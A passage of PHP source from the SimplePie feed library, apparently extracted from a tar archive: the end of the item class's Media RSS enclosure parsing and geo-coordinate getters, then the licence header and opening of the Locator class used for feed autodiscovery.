$this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } else { $credits = $credits_parent; } // DESCRIPTION if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $description = $description_parent; } // HASHES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } else { $hashes = $hashes_parent; } // KEYWORDS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } else { $keywords = $keywords_parent; } // PLAYER if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } else { $player = $player_parent; } // RATINGS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } else { $ratings = $ratings_parent; } // RESTRICTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } else { $restrictions = $restrictions_parent; } // THUMBNAILS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } else { $thumbnails = $thumbnails_parent; } // TITLES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $title = $title_parent; } $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width)); } } } } // If we have standalone media:content tags, loop through them. if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'])) { foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content) { if (isset($content['attribs']['']['url']) || isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // Start checking the attributes of media:content if (isset($content['attribs']['']['bitrate'])) { $bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['channels'])) { $channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['duration'])) { $duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $duration = $duration_parent; } if (isset($content['attribs']['']['expression'])) { $expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['framerate'])) { $framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['height'])) { $height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['lang'])) { $lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['fileSize'])) { $length = ceil($content['attribs']['']['fileSize']); } if (isset($content['attribs']['']['medium'])) { $medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['samplingrate'])) { $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['type'])) { $type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['width'])) { $width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['url'])) { $url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // CAPTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } else { $captions = $captions_parent; } // CATEGORIES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (is_array($categories) && is_array($categories_parent)) { $categories = array_values(array_unique(array_merge($categories, $categories_parent))); } elseif (is_array($categories)) { $categories = array_values(array_unique($categories)); } elseif (is_array($categories_parent)) { $categories = array_values(array_unique($categories_parent)); } else { $categories = null; } // COPYRIGHTS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } else { $copyrights = $copyrights_parent; } // CREDITS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } else { $credits = $credits_parent; } // DESCRIPTION if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $description = $description_parent; } // HASHES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } else { $hashes = $hashes_parent; } // KEYWORDS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } else { $keywords = $keywords_parent; } // PLAYER if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) { $player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } else { $player = $player_parent; } // RATINGS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } else { $ratings = $ratings_parent; } // RESTRICTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } else { $restrictions = $restrictions_parent; } // THUMBNAILS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } else { $thumbnails = $thumbnails_parent; } // TITLES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $title = $title_parent; } $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width)); } } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link) { if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); if (isset($link['attribs']['']['type'])) { $type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($link['attribs']['']['length'])) { $length = ceil($link['attribs']['']['length']); } if (isset($link['attribs']['']['title'])) { $title = $this->sanitize($link['attribs']['']['title'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $title = $title_parent; } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link) { if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); if (isset($link['attribs']['']['type'])) { $type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($link['attribs']['']['length'])) { $length = ceil($link['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } } if ($enclosure = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'enclosure')) { if (isset($enclosure[0]['attribs']['']['url'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0])); if (isset($enclosure[0]['attribs']['']['type'])) { $type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($enclosure[0]['attribs']['']['length'])) { $length = ceil($enclosure[0]['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } } if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) { // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } $this->data['enclosures'] = array_values(array_unique($this->data['enclosures'])); } if (!empty($this->data['enclosures'])) { return $this->data['enclosures']; } return null; } /** * Get the latitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:lat>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_latitude() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } return null; } /** * Get the longitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_longitude() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } return null; } /** * Get the `<atom:source>` for the item * * @since 1.1 * @return SimplePie_Source|null */ public function get_source() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source')) { return $this->registry->create('Source', array($this, $return[0])); } return null; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/Locator.php�������������������������������������������������������������������������������0000644�����������������00000031435�15120262027�0010552 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used for feed auto-discovery * * * This class can be overloaded with {@see SimplePie::set_locator_class()} * * @package SimplePie */ class SimplePie_Locator { var $useragent; var $timeout; var $file; var $local = array(); var $elsewhere = array(); var $cached_entities = array(); var $http_base; var $base; var $base_location = 0; var $checked_feeds = 0; var $max_checked_feeds = 10; var $force_fsockopen = false; var $curl_options = array(); protected $registry; public function __construct(SimplePie_File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10, $force_fsockopen = false, $curl_options = array()) { $this->file = $file; $this->useragent = $useragent; $this->timeout = $timeout; $this->max_checked_feeds = $max_checked_feeds; $this->force_fsockopen = $force_fsockopen; $this->curl_options = $curl_options; if (class_exists('DOMDocument')) { $this->dom = new DOMDocument(); set_error_handler(array('SimplePie_Misc', 'silence_errors')); $this->dom->loadHTML($this->file->body); restore_error_handler(); } else { $this->dom = null; } } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function find($type = SIMPLEPIE_LOCATOR_ALL, &$working = null) { if ($this->is_feed($this->file)) { return $this->file; } if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE) { $sniffer = $this->registry->create('Content_Type_Sniffer', array($this->file)); if ($sniffer->get_type() !== 'text/html') { return null; } } if ($type & ~SIMPLEPIE_LOCATOR_NONE) { $this->get_base(); } if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) { return $working[0]; } if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links()) { if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) { return $working[0]; } if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) { return $working[0]; } if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) { return $working[0]; } if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) { return 